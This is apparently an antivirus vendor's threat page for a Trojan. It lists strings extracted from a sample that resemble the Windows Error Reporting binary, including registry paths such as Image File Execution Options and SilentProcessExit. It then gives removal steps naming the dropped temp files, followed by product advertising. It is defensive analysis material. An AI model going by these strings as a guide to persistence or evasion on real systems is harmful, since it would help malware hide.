<CREATIONDATE>d-d-d d:d:d</CREATIONDATE>

<NAME>%s</NAME>

<DATA>%s</DATA>

<ERROR>Failed at Step: %s with error 0x%x</ERROR>

%sDrivers\%s.sys

</%s>

<%s>%s</%s>

%u.%u.%u.%u

*.mrk

WER-%u-%u.sysdata.xml

Software\Microsoft\Windows\CurrentVersion\CEIPRole\RolesInWER

SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability\MemoryDiagnostic

Web Server

Software\Microsoft\Windows\Windows Error Reporting\Debug

%SystemRoot%\Minidump

0xx (0xx, 0xx, 0xx, 0xx)

%s\%2.2d%2.2d%2.2d-%u-%2.2d.dmp

*.dmp

Software\Microsoft\Windows\Windows Error Reporting

Software\Policies\Microsoft\Windows\Windows Error Reporting

\KernelObjects\SystemErrorPortReady

%s\%s

Microsoft.Windows.Setup

\WindowsErrorReportingServicePort

(0x%x): %s

%u %s

WindowsNTVersion

%u.%u

ErrorPort

\StringFileInfo\xx\%s

HKEY_USERS\

HKEY_CURRENT_CONFIG\

HKEY_CLASSES_ROOT\

HKEY_LOCAL_MACHINE\

HKEY_CURRENT_USER\

%s="%s"

%s.%s

%s %d

Software\Microsoft\Windows\Windows Error Reporting\Hangs

_NT_EXECUTABLE_IMAGE_PATH

wxmu.dmp

wxhu.dmp

axmu.dmp

axhu.dmp

hu.kdmp

mu.kdmp

hu.dmp

mu.dmp

Software\Microsoft\.NETFramework

NOT_TCPIP

sos.dll

Lversion.xml

.version.xml

%s.xml

memory.hdmp

minidump.mdmp

Local\WERReportingForProcess%d

atk.kdmp

Software\Microsoft\Windows\Windows Error Reporting\Hangs\NHRTimes

%i|%d|%d

xxxxxxxxxxxxxxxx

xx

%d.%d.%d.%d

ND:P(A;;GA;;;BA)(A;;GA;;;SY)(A;;GA;;;%s)

D:P(A;;GA;;;BA)(A;;GA;;;SY)(A;;GA;;;%s)S:(ML;;NR;;;HI)

M.ref

dc.noreflect

dc.xpmemdump

dc.xpdata

dc.CustomDump

dc.expmodmem

dc.expmoddata

dc.OnDemandKdmp

dc.xpmodmem

dc.xpmoddata

default=%s

memory=%s

module=%s

.dbgcfg.ini

ElevatedDataCollectionStatus.txt

Open process failed unexpectedly: 0X%X

Attempting to cross-proc reporting process!

Elevation:Administrator!new:%s

Reflection attempt failed: 0X%X

Attempting to reflect reporting process!

Could not collect dump for reflection cross process: 0x%x

Could not collect xproc for reflection: 0x%x

CollectFile for reflection failed: 0x%x

Could not collect dump for cross process: 0x%x

CollectReflectionDump failed with: 0x%x

0 processes found for xproc module: %s

Could not collect cross dump from module: 0x%x

CollectCrossProcessModuleDumps failed: 0x%x

CollectCrossProcessDumps failed: 0x%x

KernelDump failed: 0x%x

ProcessHandle

%s|%s

rpcrt4

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebugProtected\AutoExclusionList

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\AutoExclusionList

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebugProtected

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebug

sntdll.dll

WerDiagController.dll

Software\Microsoft\Windows\Windows Error Reporting\Plugins

Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers

Software\Microsoft\Windows\Windows Error Reporting\Plugins\FDR\CurrentSession

%s\%s\%u-%u.etl

%s\%s\%u-%u.etl_%d

Microsoft\Windows\FDR

%s-%d

Software\Microsoft\Windows\Windows Error Reporting\Plugins\DriverVerifier

Software\Microsoft\Windows\Windows Error Reporting\Plugins\AppRecorder

%d-AppRecorderEnabled

M%s /stop

psr.exe

Software\Microsoft\Windows\Windows Error Reporting\RuntimeExceptionHelperModules

verifier.dll

nVerifier.dll

Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s

Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

lsvchost.exe

"%s" "%s" "%s"

%s\system32\cofire.exe

psapi.dll

sfc_os.dll

werfault.exe

%s\%s-(PID-%u)-%u

%s\%s-(PID-%u).dmp

%s\*-(PID-*)-*

SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\%s

SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit

kernel32.dll

kernelbase.dll

ReportingMode

KWinShipAssert

WindowsMessageReportingB1

Windows

ws2_32.dll

Software\Microsoft\SQMClient\%s\AdaptiveSqm\ManifestInfo

%s\Sqm%d.bin

CorporateWerPortNumber

BypassDataThrottling

Software\Microsoft\Windows\Windows Error Reporting\Consent

Windows Problem Reporting

6.1.7600.16385 (win7_rtm.090713-1255)

WerFault.exe

Windows

Operating System

6.1.7600.16385

Microsoft-Windows-WER-Diag/Operational

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):

%original file name%.exe:2316
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspFF0A.tmp\ihovet312.exe (138526 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspFF0A.tmp\nsJSON.dll (47 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspFF0A.tmp\crub.exe (7040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspFF0A.tmp\INetC.dll (53 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Permalink

Back to the blog

e-mail

Google+

Twitter

Facebook

Trojan.Win32.Delphi_1542a93d8e

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet

Trojan.Win32.Delphi_1542a93d8e

E-mail

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet